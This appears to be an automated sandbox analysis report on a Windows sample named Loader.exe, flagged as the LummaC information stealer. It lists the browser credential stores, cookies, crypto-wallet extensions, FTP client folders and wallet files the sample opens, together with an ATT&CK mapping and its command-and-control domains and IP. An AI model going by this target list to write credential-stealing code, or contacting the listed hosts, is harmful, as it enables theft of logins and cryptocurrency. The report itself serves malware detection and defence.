Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\Loader.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior

Source: Yara match	File source: 00000003.00000003.2338745992.0000000002D36000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2352050415.0000000002D36000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2375611870.0000000002D36000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2375179400.0000000002D36000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2390068678.0000000002D36000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Loader.exe PID: 6472, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: Loader.exe PID: 6472, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	211 Process Injection	21 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Screen Capture	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	211 Process Injection	LSASS Memory	1 Query Registry	Remote Desktop Protocol	1 Archive Collected Data	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	241 Security Software Discovery	SMB/Windows Admin Shares	41 Data from Local System	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	21 Virtualization/Sandbox Evasion	Distributed Component Object Model	3 Clipboard Data	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	1 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	11 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	33 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Loader.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://fancywaxxers.shop:443/apiMicrosoft	100%	Avira URL Cloud	malware
https://fancywaxxers.shop/api$	100%	Avira URL Cloud	malware
https://fancywaxxers.shop/apiSd	100%	Avira URL Cloud	malware
https://fancywaxxers.shop/apiNh	100%	Avira URL Cloud	malware
https://fancywaxxers.shop/kqu	100%	Avira URL Cloud	malware
https://fancywaxxers.shop/api_yU	100%	Avira URL Cloud	malware
https://fancywaxxers.shop/api1-2	100%	Avira URL Cloud	malware
https://fancywaxxers.shop/apiMECn	100%	Avira URL Cloud	malware
https://fancywaxxers.shop:443/api.	100%	Avira URL Cloud	malware
https://fancywaxxers.shop/sl	100%	Avira URL Cloud	malware
https://fancywaxxers.shop/api-	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
fancywaxxers.shop	104.21.80.1	true	false		high

Contacted URLs

Name	Malicious	Reputation
rabidcowse.shop	false	high
wholersorie.shop	false	high
fancywaxxers.shop	false	high
cloudewahsj.shop	false	high
noisycuttej.shop	false	high
nearycrepso.shop	false	high
https://fancywaxxers.shop/api	false	high
framekgirus.shop	false	high
tirepublicerj.shop	false	high
abruptyopsn.shop	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	Loader.exe, 00000003.00000003.2338136929.0000000005476000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2338047949.0000000005479000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2338265875.0000000005476000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	Loader.exe, 00000003.00000003.2338136929.0000000005476000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2338047949.0000000005479000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2338265875.0000000005476000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fancywaxxers.shop/api$	Loader.exe, 00000003.00000003.2638750413.0000000002D5D000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2638726873.0000000002D45000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2638570560.0000000002D3E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	Loader.exe, 00000003.00000003.2338136929.0000000005476000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2338047949.0000000005479000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2338265875.0000000005476000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fancywaxxers.shop/apiSd	Loader.exe, 00000003.00000003.2375109855.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2374823477.00000000054CA000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2374273445.00000000054C6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	Loader.exe, 00000003.00000003.2377209536.00000000054B9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fancywaxxers.shop:443/apiMicrosoft	Loader.exe, 00000003.00000002.3277198269.0000000002CC6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	Loader.exe, 00000003.00000003.2377096908.00000000054B6000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2377209536.00000000054B9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fancywaxxers.shop/apiNh	Loader.exe, 00000003.00000003.2389754813.00000000054C8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Loader.exe, 00000003.00000003.2338136929.0000000005476000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2338047949.0000000005479000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2338265875.0000000005476000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	Loader.exe, 00000003.00000003.2375458875.00000000054EF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Loader.exe, 00000003.00000003.2338136929.0000000005476000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2338047949.0000000005479000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2338265875.0000000005476000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	Loader.exe, 00000003.00000003.2375458875.00000000054EF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	Loader.exe, 00000003.00000003.2338136929.0000000005476000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2338047949.0000000005479000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2338265875.0000000005476000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	Loader.exe, 00000003.00000003.2377096908.00000000054B6000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2377209536.00000000054B9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	Loader.exe, 00000003.00000003.2376704936.0000000005567000.00000004.00000800.00020000.00000000.sdmp	false		high
